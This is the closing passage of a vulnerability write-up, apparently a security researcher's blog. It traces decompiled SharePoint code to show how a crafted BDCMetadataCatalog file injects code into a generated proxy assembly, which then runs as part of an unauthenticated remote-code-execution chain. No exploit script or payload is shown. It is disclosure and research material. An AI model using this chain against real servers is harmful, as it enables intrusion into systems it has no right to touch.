  if (!this.initialized)
  {
    this.Initialize(lobSystemInstance); // [28]
  }
  object obj = lobSystemInstance.CurrentConnection;
  bool flag = obj != null;
  if (!flag)
  {
    try
    {
      obj = this.connectionManager.GetConnection(); // [29]
      //...
        }
    //...
    }
    //...
}		

At [28], WebServiceSystemUtility.Initialize() will be called:

protected virtual void Initialize(ILobSystemInstance lobSystemInstance)
{
  INamedPropertyDictionary properties = lobSystemInstance.GetProperties();
  //...
  this.connectionManager = ConnectionManagerFactory.Value.GetConnectionManager(lobSystemInstance); // [30]
  //...
}

At [30], ConnectionManagerFactory.Value.GetConnectionManager(lobSystemInstance) will initialise and return the ConnectionManager for the current LobSystem instance. With WebServiceSystemUtility, this.connectionManager will be an instance of WebServiceConnectionManager.

The relevant code of WebServiceConnectionManager is shown below:

public override void Initialize(ILobSystemInstance forLobSystemInstance)
{
  //...
  this.dynamicWebServiceProxyType = this.GetDynamicProxyType(forLobSystemInstance); // [31]
  this.loadController = LoadController.GetLoadController(forLobSystemInstance) as LoadController;
}

protected virtual Type GetDynamicProxyType(ILobSystemInstance forLobSystemInstance)
{
  Type type = null;
  Assembly proxyAssembly = ProxyAssemblyCache.Value.GetProxyAssembly(forLobSystemInstance.GetLobSystem()); // [32]
  INamedPropertyDictionary properties = forLobSystemInstance.GetProperties();
  //...
}

At [31], WebServiceConnectionManager.Initialize() calls WebServiceConnectionManager.GetDynamicProxyType(), which calls ProxyAssemblyCache.GetProxyAssembly() at [32], to retrieve a Type within the generated Assembly and store within this.dynamicWebServiceProxyType.

At [32], ProxyAssemblyCache.GetProxyAssembly() will call the ICompositeAssemblyProvider.GetCompositeAssembly() with a LobSystem instance as argument. In this context, compositeAssemblyProvider is an instance of LobSystem.

CompositeAssembly ICompositeAssemblyProvider.GetCompositeAssembly()
{
  CompositeAssembly compositeAssembly;
  ISystemProxyGenerator systemProxyGenerator = Activator.CreateInstance(this.SystemUtilityType) as ISystemProxyGenerator; // [33]

  proxyGenerationResult = systemProxyGenerator.GenerateProxyAssembly(this, base.GetProperties()); // [34]
  //...
}

At [33], an instance of WebServiceSystemUtility is stored in systemProxyGenerator, so WebServiceSystemUtility.GenerateProxyAssembly() is subsequently called at [34]. At this point, since the LobSystem is initialised using the crafted BDCMetadataCatalog file, the attacker has control over the properties of the LobSystem and hence is able to inject arbitrary code within the generated Assembly!

After returning from ProxyAssemblyCache.GetProxyAssembly() at [32] , a Type within the generated Assembly will be returned and stored into this.dynamicWebServiceProxyType. WebServiceConnectionManager.GetConnection() will be called at [29] after WebServiceSystemUtility.Initialize() at [28]:

public override object GetConnection()
{
  //...
  try
  {
    httpWebClientProtocol = (HttpWebClientProtocol)Activator.CreateInstance(this.dynamicWebServiceProxyType);
  }
  //...
}

This method directly creates a new object instance of the type specified in this.dynamicWebServiceProxyType, which executes the injected (malicious) code earlier on at [18].

Chaining the two bugs together, an unauthenticated attacker is able to achieve remote code execution (RCE) on the target SharePoint server. 😁.

Plan Vs Reality

There are many other interesting things which I found out during the process, but the length of the article is too long.

I will probably combine it in another article later.

Thank you for reading!

Thanks Ngo Wei Lin, Li Jiantao & Poh Jia Hao for reviewing and enriching this nasty blog post. Thanks to ZDI for spending time to review the contents as well.

Demo